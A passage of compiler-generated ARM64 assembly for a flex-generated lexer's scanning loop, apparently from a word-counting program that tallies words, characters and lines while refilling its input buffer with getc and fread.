; Child Loop BB0_62 Depth 6
; Child Loop BB0_70 Depth 6
sxtw x8, w10
sub x10, x8, #8
ldr x11, [x1, _yy_last_accepting_cpos@PAGEOFF]
ldrsw x12, [x2, _yy_last_accepting_state@PAGEOFF]
cmn x10, #5
csel x8, x12, x8, lo
csel x14, x11, x9, lo
Lloh26:
adrp x9, _yy_accept@PAGE
Lloh27:
add x9, x9, _yy_accept@PAGEOFF
ldrsh w9, [x9, x8, lsl #1]
str x16, [x20]
sub x8, x14, x16
Lloh28:
adrp x10, _yyleng@GOTPAGE
Lloh29:
ldr x10, [x10, _yyleng@GOTPAGEOFF]
Lloh30:
str x8, [x10]
ldrb w8, [x14]
strb w8, [x24, _yy_hold_char@PAGEOFF]
strb wzr, [x14]
mov x8, x14
str x14, [sp, #40] ; 8-byte Folded Spill
b LBB0_26
LBB0_25: ; in Loop: Header=BB0_26 Depth=5
mov w9, #6
cmp x11, #1
adrp x19, _yy_buffer_stack@PAGE
b.ne LBB0_92
LBB0_26: ; Parent Loop BB0_13 Depth=1
; Parent Loop BB0_14 Depth=2
; Parent Loop BB0_23 Depth=3
; Parent Loop BB0_24 Depth=4
; => This Loop Header: Depth=5
; Child Loop BB0_40 Depth 6
; Child Loop BB0_44 Depth 6
; Child Loop BB0_48 Depth 6
; Child Loop BB0_56 Depth 6
; Child Loop BB0_62 Depth 6
; Child Loop BB0_70 Depth 6
adrp x10, _yy_c_buf_p@PAGE
str x8, [x10, _yy_c_buf_p@PAGEOFF]
cmp w9, #5
b.ne LBB0_86
; %bb.27: ; in Loop: Header=BB0_26 Depth=5
ldr x27, [x20]
ldrb w8, [x24, _yy_hold_char@PAGEOFF]
strb w8, [x14]
ldr x21, [x19, _yy_buffer_stack@PAGEOFF]
Lloh31:
adrp x8, _yy_buffer_stack_top@PAGE
Lloh32:
ldr x9, [x8, _yy_buffer_stack_top@PAGEOFF]
ldr x19, [x21, x9, lsl #3]
ldr w8, [x19, #64]
cbz w8, LBB0_29
; %bb.28: ; in Loop: Header=BB0_26 Depth=5
Lloh33:
adrp x8, _yy_n_chars@PAGE
Lloh34:
ldr x12, [x8, _yy_n_chars@PAGEOFF]
b LBB0_30
LBB0_29: ; in Loop: Header=BB0_26 Depth=5
ldr x12, [x19, #32]
Lloh35:
adrp x8, _yy_n_chars@PAGE
str x12, [x8, _yy_n_chars@PAGEOFF]
Lloh36:
adrp x8, _yyin@PAGE
Lloh37:
ldr x8, [x8, _yyin@PAGEOFF]
str x8, [x19]
ldr x19, [x21, x9, lsl #3]
mov w8, #1
str w8, [x19, #64]
LBB0_30: ; in Loop: Header=BB0_26 Depth=5
Lloh38:
adrp x8, _yy_c_buf_p@PAGE
Lloh39:
ldr x26, [x8, _yy_c_buf_p@PAGEOFF]
ldr x10, [x19, #8]
add x8, x10, x12
cmp x26, x8
b.ls LBB0_105
; %bb.31: ; in Loop: Header=BB0_26 Depth=5
add x8, x12, x10
add x8, x8, #1
cmp x26, x8
b.hi LBB0_153
; %bb.32: ; in Loop: Header=BB0_26 Depth=5
ldr x8, [x20]
ldr w13, [x19, #60]
sub x11, x26, x8
cbz w13, LBB0_25
; %bb.33: ; in Loop: Header=BB0_26 Depth=5
cmp w11, #2
adrp x20, _yyin@PAGE
b.lt LBB0_50
; %bb.34: ; in Loop: Header=BB0_26 Depth=5
mov w14, #0
sub w12, w26, w8
sub w15, w12, #2
cmp w15, #7
b.lo LBB0_38
; %bb.35: ; in Loop: Header=BB0_26 Depth=5
sub x12, x10, x8
mov x13, x8
cmp x12, #64
b.lo LBB0_47
; %bb.36: ; in Loop: Header=BB0_26 Depth=5
add x12, x15, #1
cmp x15, #63
b.hs LBB0_39
; %bb.37: ; in Loop: Header=BB0_26 Depth=5
mov x15, #0
b LBB0_43
LBB0_38: ; in Loop: Header=BB0_26 Depth=5
mov x13, x8
b LBB0_47
LBB0_39: ; in Loop: Header=BB0_26 Depth=5
and x15, x12, #0x1ffffffc0
add x13, x10, #32
add x14, x8, #32
mov x16, x15
LBB0_40: ; Parent Loop BB0_13 Depth=1
; Parent Loop BB0_14 Depth=2
; Parent Loop BB0_23 Depth=3
; Parent Loop BB0_24 Depth=4
; Parent Loop BB0_26 Depth=5
; => This Inner Loop Header: Depth=6
ldp q0, q1, [x14, #-32]
ldp q2, q3, [x14], #64
stp q0, q1, [x13, #-32]
stp q2, q3, [x13], #64
subs x16, x16, #64
b.ne LBB0_40
; %bb.41: ; in Loop: Header=BB0_26 Depth=5
cmp x12, x15
b.eq LBB0_49
; %bb.42: ; in Loop: Header=BB0_26 Depth=5
tst x12, #0x38
b.eq LBB0_46
LBB0_43: ; in Loop: Header=BB0_26 Depth=5
and x14, x12, #0x1fffffff8
add x16, x10, x14
add x13, x8, x14
add x17, x8, x15
add x10, x10, x15
sub x15, x15, x14
LBB0_44: ; Parent Loop BB0_13 Depth=1
; Parent Loop BB0_14 Depth=2
; Parent Loop BB0_23 Depth=3
; Parent Loop BB0_24 Depth=4
; Parent Loop BB0_26 Depth=5
; => This Inner Loop Header: Depth=6
ldr d0, [x17], #8
str d0, [x10], #8
adds x15, x15, #8
b.ne LBB0_44
; %bb.45: ; in Loop: Header=BB0_26 Depth=5
mov x10, x16
cmp x12, x14
b.ne LBB0_47
b LBB0_49
LBB0_46: ; in Loop: Header=BB0_26 Depth=5
add x13, x8, x15
add x10, x10, x15
mov x14, x15
LBB0_47: ; in Loop: Header=BB0_26 Depth=5
add w8, w14, w8
sub w8, w8, w26
add w8, w8, #1
LBB0_48: ; Parent Loop BB0_13 Depth=1
; Parent Loop BB0_14 Depth=2
; Parent Loop BB0_23 Depth=3
; Parent Loop BB0_24 Depth=4
; Parent Loop BB0_26 Depth=5
; => This Inner Loop Header: Depth=6
ldrb w12, [x13], #1
strb w12, [x10], #1
adds w8, w8, #1
b.lo LBB0_48
LBB0_49: ; in Loop: Header=BB0_26 Depth=5
ldr x19, [x21, x9, lsl #3]
LBB0_50: ; in Loop: Header=BB0_26 Depth=5
sub w13, w11, #1
ldr w8, [x19, #64]
cmp w8, #2
str x27, [sp, #32] ; 8-byte Folded Spill
b.ne LBB0_54
; %bb.51: ; in Loop: Header=BB0_26 Depth=5
adrp x8, _yy_n_chars@PAGE
str xzr, [x8, _yy_n_chars@PAGEOFF]
adrp x26, _yy_buffer_stack_top@PAGE
LBB0_52: ; in Loop: Header=BB0_26 Depth=5
str xzr, [x19, #32]
cbz w13, LBB0_80
LBB0_53: ; in Loop: Header=BB0_26 Depth=5
mov x20, #0
mov w26, #2
str w26, [x19, #64]
b LBB0_81
LBB0_54: ; in Loop: Header=BB0_26 Depth=5
sxtw x24, w13
mvn x21, x24
ldr x8, [x19, #24]
adds x9, x8, x21
str x13, [sp, #24] ; 8-byte Folded Spill
b.eq LBB0_56
; %bb.55: ; in Loop: Header=BB0_26 Depth=5
adrp x26, _yy_buffer_stack_top@PAGE
b LBB0_60
LBB0_56: ; Parent Loop BB0_13 Depth=1
; Parent Loop BB0_14 Depth=2
; Parent Loop BB0_23 Depth=3
; Parent Loop BB0_24 Depth=4
; Parent Loop BB0_26 Depth=5
; => This Inner Loop Header: Depth=6
ldr w9, [x19, #40]
cbz w9, LBB0_148
; %bb.57: ; in Loop: Header=BB0_56 Depth=6
ldr x20, [x19, #8]
lsl x9, x8, #1
add x8, x8, x8, lsr #3
cmp x9, #0
csel x8, x8, x9, eq
str x8, [x19, #24]
add x1, x8, #2
mov x0, x20
bl _realloc
str x0, [x19, #8]
cbz x0, LBB0_149
; %bb.58: ; in Loop: Header=BB0_56 Depth=6
sub x8, x26, x20
add x26, x0, w8, sxtw
Lloh40:
adrp x8, _yy_c_buf_p@PAGE
str x26, [x8, _yy_c_buf_p@PAGEOFF]
Lloh41:
adrp x8, _yy_buffer_stack@PAGE
Lloh42:
ldr x8, [x8, _yy_buffer_stack@PAGEOFF]
Lloh43:
adrp x9, _yy_buffer_stack_top@PAGE
Lloh44:
ldr x9, [x9, _yy_buffer_stack_top@PAGEOFF]
ldr x19, [x8, x9, lsl #3]
ldr x8, [x19, #24]
adds x9, x8, x21
b.eq LBB0_56
; %bb.59: ; in Loop: Header=BB0_26 Depth=5
adrp x26, _yy_buffer_stack_top@PAGE
adrp x20, _yyin@PAGE
LBB0_60: ; in Loop: Header=BB0_26 Depth=5
cmp x9, #2, lsl #12 ; =8192
mov w8, #8192
csel x21, x9, x8, lo
ldr w8, [x19, #44]
cbz w8, LBB0_68
; %bb.61: ; in Loop: Header=BB0_26 Depth=5
mov x20, #0
adrp x19, _yy_buffer_stack@PAGE
LBB0_62: ; Parent Loop BB0_13 Depth=1
; Parent Loop BB0_14 Depth=2
; Parent Loop BB0_23 Depth=3
; Parent Loop BB0_24 Depth=4
; Parent Loop BB0_26 Depth=5
; => This Inner Loop Header: Depth=6
Lloh45:
adrp x8, _yyin@PAGE
Lloh46:
ldr x0, [x8, _yyin@PAGEOFF]
bl _getc
cmn w0, #1
ccmp w0, #10, #4, ne
b.eq LBB0_65
; %bb.63: ; in Loop: Header=BB0_62 Depth=6
ldr x8, [x19, _yy_buffer_stack@PAGEOFF]
ldr x9, [x26, _yy_buffer_stack_top@PAGEOFF]
ldr x8, [x8, x9, lsl #3]
ldr x8, [x8, #8]
add x8, x8, x24
strb w0, [x8, x20]
add x20, x20, #1
cmp x21, x20
b.ne LBB0_62
; %bb.64: ; in Loop: Header=BB0_26 Depth=5
mov x20, x21
LBB0_65: ; in Loop: Header=BB0_26 Depth=5
cmn w0, #1
b.eq LBB0_76
; %bb.66: ; in Loop: Header=BB0_26 Depth=5
cmp w0, #10
b.ne LBB0_77
; %bb.67: ; in Loop: Header=BB0_26 Depth=5
mov x8, x26
mov w26, #0
ldr x21, [x19, _yy_buffer_stack@PAGEOFF]
ldr x9, [x8, _yy_buffer_stack_top@PAGEOFF]
lsl x8, x9, #3
ldr x10, [x21, x8]
ldr x10, [x10, #8]
add x10, x10, x24
mov w11, #10
strb w11, [x10, x20]
add x20, x20, #1
adrp x10, _yy_n_chars@PAGE
str x20, [x10, _yy_n_chars@PAGEOFF]
ldr x19, [x21, x8]
b LBB0_75
LBB0_68: ; in Loop: Header=BB0_26 Depth=5
bl ___error
str wzr, [x0]
adrp x19, _yy_buffer_stack@PAGE
ldr x8, [x19, _yy_buffer_stack@PAGEOFF]
ldr x9, [x26, _yy_buffer_stack_top@PAGEOFF]
ldr x8, [x8, x9, lsl #3]
ldr x8, [x8, #8]
add x0, x8, x24
ldr x3, [x20, _yyin@PAGEOFF]
mov w1, #1
mov x2, x21
bl _fread
mov x20, x0
adrp x8, _yy_n_chars@PAGE
str x0, [x8, _yy_n_chars@PAGEOFF]
cbnz x0, LBB0_74
; %bb.69: ; in Loop: Header=BB0_26 Depth=5
adrp x27, _yyin@PAGE
LBB0_70: ; Parent Loop BB0_13 Depth=1
; Parent Loop BB0_14 Depth=2
; Parent Loop BB0_23 Depth=3
; Parent Loop BB0_24 Depth=4
; Parent Loop BB0_26 Depth=5
; => This Inner Loop Header: Depth=6
ldr x0, [x27, _yyin@PAGEOFF]
bl _ferror
mov x20, x27
cbz w0, LBB0_85
; %bb.71: ; in Loop: Header=BB0_70 Depth=6
bl ___error
ldr w8, [x0]
cmp w8, #4
b.ne LBB0_154
; %bb.72: ; in Loop: Header=BB0_70 Depth=6
bl ___error
str wzr, [x0]
ldr x0, [x20, _yyin@PAGEOFF]
bl _clearerr
ldr x8, [x19, _yy_buffer_stack@PAGEOFF]
ldr x9, [x26, _yy_buffer_stack_top@PAGEOFF]
ldr x8, [x8, x9, lsl #3]
ldr x8, [x8, #8]
add x0, x8, x24
ldr x3, [x20, _yyin@PAGEOFF]
mov w1, #1
mov x2, x21
bl _fread
mov x27, x20
adrp x8, _yy_n_chars@PAGE
str x0, [x8, _yy_n_chars@PAGEOFF]
cbz x0, LBB0_70
; %bb.73: ; in Loop: Header=BB0_26 Depth=5
mov x20, x0
LBB0_74: ; in Loop: Header=BB0_26 Depth=5
mov x8, x26
mov w26, #0
ldr x21, [x19, _yy_buffer_stack@PAGEOFF]
ldr x9, [x8, _yy_buffer_stack_top@PAGEOFF]
ldr x19, [x21, x9, lsl #3]
LBB0_75: ; in Loop: Header=BB0_26 Depth=5
str x20, [x19, #32]
ldr x13, [sp, #24] ; 8-byte Folded Reload
b LBB0_81
LBB0_76: ; in Loop: Header=BB0_26 Depth=5
Lloh47:
adrp x8, _yyin@PAGE
Lloh48:
ldr x0, [x8, _yyin@PAGEOFF]
bl _ferror
cbnz w0, LBB0_154
LBB0_77: ; in Loop: Header=BB0_26 Depth=5
adrp x8, _yy_n_chars@PAGE
str x20, [x8, _yy_n_chars@PAGEOFF]
ldr x21, [x19, _yy_buffer_stack@PAGEOFF]
ldr x9, [x26, _yy_buffer_stack_top@PAGEOFF]
ldr x19, [x21, x9, lsl #3]
str x20, [x19, #32]
cbz x20, LBB0_79
; %bb.78: ; in Loop: Header=BB0_26 Depth=5
mov w26, #0
ldr x13, [sp, #24] ; 8-byte Folded Reload
b LBB0_81
LBB0_79: ; in Loop: Header=BB0_26 Depth=5
adrp x24, _yy_hold_char@PAGE
adrp x20, _yyin@PAGE
ldr x13, [sp, #24] ; 8-byte Folded Reload
cbnz w13, LBB0_53
LBB0_80: ; in Loop: Header=BB0_26 Depth=5
ldr x1, [x20, _yyin@PAGEOFF]
mov x21, x13
mov x0, x19
bl _yy_init_buffer
mov x13, x21
Lloh49:
adrp x8, _yy_buffer_stack@PAGE
Lloh50:
ldr x21, [x8, _yy_buffer_stack@PAGEOFF]
ldr x9, [x26, _yy_buffer_stack_top@PAGEOFF]
lsl x8, x9, #3
ldr x10, [x21, x8]
mov x12, x20
ldr x20, [x10, #32]
Lloh51:
adrp x11, _yy_n_chars@PAGE
str x20, [x11, _yy_n_chars@PAGEOFF]
ldr x10, [x10, #16]
Lloh52:
adrp x11, _yy_c_buf_p@PAGE
str x10, [x11, _yy_c_buf_p@PAGEOFF]
Lloh53:
adrp x11, _yytext@GOTPAGE
Lloh54:
ldr x11, [x11, _yytext@GOTPAGEOFF]
Lloh55:
str x10, [x11]
ldr x11, [x21, x8]
ldr x11, [x11]
str x11, [x12, _yyin@PAGEOFF]
ldrb w10, [x10]
strb w10, [x24, _yy_hold_char@PAGEOFF]
ldr x19, [x21, x8]
mov w26, #1
LBB0_81: ; in Loop: Header=BB0_26 Depth=5
add x24, x20, w13, sxtw
ldr x8, [x19, #24]
lsl x27, x9, #3
cmp x24, x8
b.ls LBB0_83
; %bb.82: ; in Loop: Header=BB0_26 Depth=5
add x1, x24, x20, lsr #1
ldr x0, [x19, #8]
bl _realloc
ldr x8, [x21, x27]
str x0, [x8, #8]
ldr x8, [x21, x27]
ldr x8, [x8, #8]
cbnz x8, LBB0_84
b LBB0_155
LBB0_83: ; in Loop: Header=BB0_26 Depth=5
ldr x8, [x19, #8]
LBB0_84: ; in Loop: Header=BB0_26 Depth=5
adrp x9, _yy_n_chars@PAGE
str x24, [x9, _yy_n_chars@PAGEOFF]
strb wzr, [x8, x24]
ldr x8, [x21, x27]
ldr x8, [x8, #8]
add x8, x24, x8
strb wzr, [x8, #1]
ldr x8, [x21, x27]
ldr x8, [x8, #8]
Lloh56:
adrp x20, _yytext@GOTPAGE
Lloh57:
ldr x20, [x20, _yytext@GOTPAGEOFF]
str x8, [x20]
mov w9, #6
cmp w26, #1
adrp x24, _yy_hold_char@PAGE
adrp x19, _yy_buffer_stack@PAGE
ldr x14, [sp, #40] ; 8-byte Folded Reload
b.eq LBB0_26
b LBB0_89
LBB0_85: ; in Loop: Header=BB0_26 Depth=5
ldr x21, [x19, _yy_buffer_stack@PAGEOFF]
ldr x9, [x26, _yy_buffer_stack_top@PAGEOFF]
ldr x19, [x21, x9, lsl #3]
adrp x24, _yy_hold_char@PAGE
ldr x13, [sp, #24] ; 8-byte Folded Reload
b LBB0_52
LBB0_86: ; in Loop: Header=BB0_24 Depth=4
cmp w9, #6
b.hi LBB0_152
; %bb.87: ; in Loop: Header=BB0_24 Depth=4
mov w8, w9
Lloh58:
adrp x11, lJTI0_0@PAGE
Lloh59:
add x11, x11, lJTI0_0@PAGEOFF
adr x9, LBB0_88
ldrh w10, [x11, x8, lsl #1]
add x9, x9, x10, lsl #2
br x9
LBB0_88: ; in Loop: Header=BB0_24 Depth=4
ldrb w8, [x24, _yy_hold_char@PAGEOFF]
strb w8, [x14]
adrp x1, _yy_last_accepting_cpos@PAGE
ldr x9, [x1, _yy_last_accepting_cpos@PAGEOFF]
adrp x2, _yy_last_accepting_state@PAGE
ldr w10, [x2, _yy_last_accepting_state@PAGEOFF]
ldr x16, [sp, #16] ; 8-byte Folded Reload
b LBB0_24
LBB0_89: ; in Loop: Header=BB0_23 Depth=3
cbz w26, LBB0_128
; %bb.90: ; in Loop: Header=BB0_23 Depth=3
cmp w26, #2
adrp x10, _yy_buffer_stack_top@PAGE
Lloh60:
adrp x16, _yy_ec@PAGE
Lloh61:
add x16, x16, _yy_ec@PAGEOFF
Lloh62:
adrp x17, _yy_nxt@PAGE
Lloh63:
add x17, x17, _yy_nxt@PAGEOFF
mov w0, #304
adrp x1, _yy_last_accepting_cpos@PAGE
adrp x2, _yy_last_accepting_state@PAGE
b.ne LBB0_13
; %bb.91: ; in Loop: Header=BB0_23 Depth=3
ldr x9, [x19, _yy_buffer_stack@PAGEOFF]
ldr x10, [x10, _yy_buffer_stack_top@PAGEOFF]
ldr x9, [x9, x10, lsl #3]
ldr x10, [x9, #8]
Lloh64:
adrp x9, _yy_n_chars@PAGE
Lloh65:
ldr x12, [x9, _yy_n_chars@PAGEOFF]
LBB0_92: ; in Loop: Header=BB0_23 Depth=3
add x9, x10, x12
cmp x8, x9
Lloh66:
adrp x10, _yy_c_buf_p@PAGE
str x9, [x10, _yy_c_buf_p@PAGEOFF]
Lloh67:
adrp x10, _yy_start@PAGE
ldrb w10, [x10, _yy_start@PAGEOFF]
mov x16, x8
Lloh68:
adrp x17, _yy_nxt@PAGE
Lloh69:
add x17, x17, _yy_nxt@PAGEOFF
adrp x1, _yy_last_accepting_cpos@PAGE
adrp x2, _yy_last_accepting_state@PAGE
b.hs LBB0_23
; %bb.93: ; in Loop: Header=BB0_23 Depth=3
mov x11, x8
Lloh70:
adrp x16, _yy_ec@PAGE
Lloh71:
add x16, x16, _yy_ec@PAGEOFF
b LBB0_95
LBB0_94: ; in Loop: Header=BB0_95 Depth=4
ldrsh w10, [x17, w14, uxtw #1]
add x11, x11, #1
cmp x11, x9
b.eq LBB0_127
LBB0_95: ; Parent Loop BB0_13 Depth=1
; Parent Loop BB0_14 Depth=2
; Parent Loop BB0_23 Depth=3
; => This Loop Header: Depth=4
; Child Loop BB0_103 Depth 5
ldrb w12, [x11]
cbz x12, LBB0_97
; %bb.96: ; in Loop: Header=BB0_95 Depth=4
lsl x12, x12, #2
ldrb w12, [x16, x12]
b LBB0_98
LBB0_97: ; in Loop: Header=BB0_95 Depth=4
mov w12, #1
LBB0_98: ; in Loop: Header=BB0_95 Depth=4
sub w13, w10, #8
cmn w13, #5
b.lo LBB0_100
; %bb.99: ; in Loop: Header=BB0_95 Depth=4
str w10, [x2, _yy_last_accepting_state@PAGEOFF]
str x11, [x1, _yy_last_accepting_cpos@PAGEOFF]
LBB0_100: ; in Loop: Header=BB0_95 Depth=4
ldrsh w13, [x25, w10, sxtw #1]
add w14, w12, w13
ldrsh w13, [x28, w14, sxtw #1]
cmp w10, w13
b.eq LBB0_94
; %bb.101: ; in Loop: Header=BB0_95 Depth=4
mov x13, x10
sxtw x13, w13
b LBB0_103
LBB0_102: ; in Loop: Header=BB0_103 Depth=5
ldrsh w10, [x22, x13, lsl #1]
sxtw x13, w10
ldrsh w14, [x25, x13, lsl #1]
add w14, w14, w12, uxtb
ldrh w15, [x28, w14, sxtw #1]
cmp w15, w13, uxth
b.eq LBB0_94
LBB0_103: ; Parent Loop BB0_13 Depth=1
; Parent Loop BB0_14 Depth=2
; Parent Loop BB0_23 Depth=3
; Parent Loop BB0_95 Depth=4
; => This Inner Loop Header: Depth=5
and w10, w10, #0xfffffffe
cmp w10, #6
b.ne LBB0_102
; %bb.104: ; in Loop: Header=BB0_103 Depth=5
and x10, x12, #0xff
ldr w12, [x23, x10, lsl #2]
b LBB0_102
LBB0_105: ; in Loop: Header=BB0_23 Depth=3
sub w8, w14, w27
ldr x16, [x20]
sub w9, w8, #1
add x9, x16, w9, sxtw
Lloh72:
adrp x10, _yy_c_buf_p@PAGE
str x9, [x10, _yy_c_buf_p@PAGEOFF]
Lloh73:
adrp x10, _yy_start@PAGE
ldrb w10, [x10, _yy_start@PAGEOFF]
cmp w8, #2
b.lt LBB0_118
; %bb.106: ; in Loop: Header=BB0_23 Depth=3
mov x8, x16
adrp x19, _yy_buffer_stack@PAGE
Lloh74:
adrp x15, _yy_ec@PAGE
Lloh75:
add x15, x15, _yy_ec@PAGEOFF
Lloh76:
adrp x17, _yy_nxt@PAGE
Lloh77:
add x17, x17, _yy_nxt@PAGEOFF
adrp x1, _yy_last_accepting_cpos@PAGE
adrp x2, _yy_last_accepting_state@PAGE
b LBB0_108
LBB0_107: ; in Loop: Header=BB0_108 Depth=4
ldrsh w10, [x17, w13, uxtw #1]
add x8, x8, #1
cmp x8, x9
b.eq LBB0_119
LBB0_108: ; Parent Loop BB0_13 Depth=1
; Parent Loop BB0_14 Depth=2
; Parent Loop BB0_23 Depth=3
; => This Loop Header: Depth=4
; Child Loop BB0_116 Depth 5
ldrb w11, [x8]
cbz x11, LBB0_110
; %bb.109: ; in Loop: Header=BB0_108 Depth=4
lsl x11, x11, #2
ldrb w11, [x15, x11]
b LBB0_111
LBB0_110: ; in Loop: Header=BB0_108 Depth=4
mov w11, #1
LBB0_111: ; in Loop: Header=BB0_108 Depth=4
sub w12, w10, #8
cmn w12, #5
b.lo LBB0_113
; %bb.112: ; in Loop: Header=BB0_108 Depth=4
str w10, [x2, _yy_last_accepting_state@PAGEOFF]
str x8, [x1, _yy_last_accepting_cpos@PAGEOFF]
LBB0_113: ; in Loop: Header=BB0_108 Depth=4
ldrsh w12, [x25, w10, sxtw #1]
add w13, w11, w12
ldrsh w12, [x28, w13, sxtw #1]
cmp w10, w12
b.eq LBB0_107
; %bb.114: ; in Loop: Header=BB0_108 Depth=4
mov x12, x10
sxtw x12, w12
b LBB0_116
LBB0_115: ; in Loop: Header=BB0_116 Depth=5
ldrsh w10, [x22, x12, lsl #1]
sxtw x12, w10
ldrsh w13, [x25, x12, lsl #1]
add w13, w13, w11, uxtb
ldrh w14, [x28, w13, sxtw #1]
cmp w14, w12, uxth
b.eq LBB0_107
LBB0_116: ; Parent Loop BB0_13 Depth=1
; Parent Loop BB0_14 Depth=2
; Parent Loop BB0_23 Depth=3
; Parent Loop BB0_108 Depth=4
; => This Inner Loop Header: Depth=5
and w10, w10, #0xfffffffe
cmp w10, #6
b.ne LBB0_115
; %bb.117: ; in Loop: Header=BB0_116 Depth=5
and x10, x11, #0xff
ldr w11, [x23, x10, lsl #2]
b LBB0_115
LBB0_118: ; in Loop: Header=BB0_23 Depth=3
; kill: def $w10 killed $w10 killed $x10 def $x10
adrp x19, _yy_buffer_stack@PAGE
Lloh78:
adrp x17, _yy_nxt@PAGE
Lloh79:
add x17, x17, _yy_nxt@PAGEOFF
adrp x1, _yy_last_accepting_cpos@PAGE
adrp x2, _yy_last_accepting_state@PAGE
b LBB0_120
LBB0_119: ; in Loop: Header=BB0_23 Depth=3
; kill: def $w10 killed $w10 killed $x10 def $x10
LBB0_120: ; in Loop: Header=BB0_23 Depth=3
mov x8, x10
sxtw x8, w8
sub x11, x8, #8
cmn x11, #5
b.lo LBB0_122
; %bb.121: ; in Loop: Header=BB0_23 Depth=3
str w10, [x2, _yy_last_accepting_state@PAGEOFF]
str x9, [x1, _yy_last_accepting_cpos@PAGEOFF]
LBB0_122: ; in Loop: Header=BB0_23 Depth=3
ldrsh x11, [x25, x8, lsl #1]
add x11, x11, #1
ldrsh w12, [x28, x11, lsl #1]
; kill: def $w11 killed $w11 killed $x11 def $x11
cmp w10, w12
b.eq LBB0_125
LBB0_123: ; Parent Loop BB0_13 Depth=1
; Parent Loop BB0_14 Depth=2
; Parent Loop BB0_23 Depth=3
; => This Inner Loop Header: Depth=4
ldrh w12, [x22, x8, lsl #1]
sxth x8, w12
ldrsh x11, [x25, x8, lsl #1]
add x11, x11, #1
ldrh w13, [x28, x11, lsl #1]
cmp w12, w13
b.ne LBB0_123
; %bb.124: ; in Loop: Header=BB0_23 Depth=3
; kill: def $w11 killed $w11 killed $x11 def $x11
LBB0_125: ; in Loop: Header=BB0_23 Depth=3
mov w8, #928
lsr x8, x8, x11
tbnz w8, #0, LBB0_23
; %bb.126: ; in Loop: Header=BB0_23 Depth=3
cbz w11, LBB0_23
b LBB0_141
LBB0_127: ; in Loop: Header=BB0_23 Depth=3
mov x16, x8
b LBB0_23
LBB0_128: ; in Loop: Header=BB0_14 Depth=2
ldr x9, [sp, #32] ; 8-byte Folded Reload
sub w11, w14, w9
sub w9, w11, #1
add x9, x8, w9, sxtw
Lloh80:
adrp x10, _yy_c_buf_p@PAGE
str x9, [x10, _yy_c_buf_p@PAGEOFF]
Lloh81:
adrp x10, _yy_start@PAGE
ldrb w10, [x10, _yy_start@PAGEOFF]
cmp w11, #2
Lloh82:
adrp x16, _yy_ec@PAGE
Lloh83:
add x16, x16, _yy_ec@PAGEOFF
Lloh84:
adrp x17, _yy_nxt@PAGE
Lloh85:
add x17, x17, _yy_nxt@PAGEOFF
mov w0, #304
adrp x1, _yy_last_accepting_cpos@PAGE
adrp x2, _yy_last_accepting_state@PAGE
b.lt LBB0_14
; %bb.129: ; in Loop: Header=BB0_14 Depth=2
mov x11, x8
b LBB0_131
LBB0_130: ; in Loop: Header=BB0_131 Depth=3
ldrsh w10, [x17, w14, uxtw #1]
add x11, x11, #1
cmp x11, x9
b.eq LBB0_14
LBB0_131: ; Parent Loop BB0_13 Depth=1
; Parent Loop BB0_14 Depth=2
; => This Loop Header: Depth=3
; Child Loop BB0_139 Depth 4
ldrb w12, [x11]
cbz x12, LBB0_133
; %bb.132: ; in Loop: Header=BB0_131 Depth=3
lsl x12, x12, #2
ldrb w12, [x16, x12]
b LBB0_134
LBB0_133: ; in Loop: Header=BB0_131 Depth=3
mov w12, #1
LBB0_134: ; in Loop: Header=BB0_131 Depth=3
sub w13, w10, #8
cmn w13, #5
b.lo LBB0_136
; %bb.135: ; in Loop: Header=BB0_131 Depth=3
str w10, [x2, _yy_last_accepting_state@PAGEOFF]
str x11, [x1, _yy_last_accepting_cpos@PAGEOFF]
LBB0_136: ; in Loop: Header=BB0_131 Depth=3
ldrsh w13, [x25, w10, sxtw #1]
add w14, w12, w13
ldrsh w13, [x28, w14, sxtw #1]
cmp w10, w13
b.eq LBB0_130
; %bb.137: ; in Loop: Header=BB0_131 Depth=3
mov x13, x10
sxtw x13, w13
b LBB0_139
LBB0_138: ; in Loop: Header=BB0_139 Depth=4
ldrsh w10, [x22, x13, lsl #1]
sxtw x13, w10
ldrsh w14, [x25, x13, lsl #1]
add w14, w14, w12, uxtb
ldrh w15, [x28, w14, sxtw #1]
cmp w15, w13, uxth
b.eq LBB0_130
LBB0_139: ; Parent Loop BB0_13 Depth=1
; Parent Loop BB0_14 Depth=2
; Parent Loop BB0_131 Depth=3
; => This Inner Loop Header: Depth=4
and w10, w10, #0xfffffffe
cmp w10, #6
b.ne LBB0_138
; %bb.140: ; in Loop: Header=BB0_139 Depth=4
and x10, x12, #0xff
ldr w12, [x23, x10, lsl #2]
b LBB0_138
LBB0_141: ; in Loop: Header=BB0_14 Depth=2
ldrsh w10, [x17, w11, uxtw #1]
add x9, x9, #1
adrp x8, _yy_c_buf_p@PAGE
str x9, [x8, _yy_c_buf_p@PAGEOFF]
mov x8, x16
Lloh86:
adrp x16, _yy_ec@PAGE
Lloh87:
add x16, x16, _yy_ec@PAGEOFF
mov w0, #304
b LBB0_14
LBB0_142: ; in Loop: Header=BB0_13 Depth=1
adrp x9, _words@PAGE
ldr x8, [x9, _words@PAGEOFF]
add x8, x8, #1
str x8, [x9, _words@PAGEOFF]
ldr x0, [x20]
bl _strlen
Lloh88:
adrp x8, _chars@PAGE
Lloh89:
add x8, x8, _chars@PAGEOFF
b LBB0_146
LBB0_143: ; in Loop: Header=BB0_13 Depth=1
adrp x9, _chars@PAGE
ldr x8, [x9, _chars@PAGEOFF]
add x8, x8, #1
str x8, [x9, _chars@PAGEOFF]
Lloh90:
adrp x8, _lines@PAGE
Lloh91:
add x8, x8, _lines@PAGEOFF
b LBB0_145
LBB0_144: ; in Loop: Header=BB0_13 Depth=1
Lloh92:
adrp x8, _chars@PAGE
Lloh93:
add x8, x8, _chars@PAGEOFF
LBB0_145: ; in Loop: Header=BB0_13 Depth=1
mov w0, #1
LBB0_146: ; in Loop: Header=BB0_13 Depth=1
ldr x9, [x8]
add x9, x9, x0
str x9, [x8]
Lloh94:
adrp x16, _yy_ec@PAGE
Lloh95:
add x16, x16, _yy_ec@PAGEOFF
Lloh96:
adrp x17, _yy_nxt@PAGE
Lloh97:
add x17, x17, _yy_nxt@PAGEOFF
mov w0, #304
adrp x1, _yy_last_accepting_cpos@PAGE
adrp x2, _yy_last_accepting_state@PAGE
b LBB0_13
LBB0_147:
mov w0, #0
ldp x29, x30, [sp, #128] ; 16-byte Folded Reload
ldp x20, x19, [sp, #112] ; 16-byte Folded Reload
ldp x22, x21, [sp, #96] ; 16-byte Folded Reload
ldp x24, x23, [sp, #80] ; 16-byte Folded Reload
ldp x26, x25, [sp, #64] ; 16-byte Folded Reload
ldp x28, x27, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #144
ret
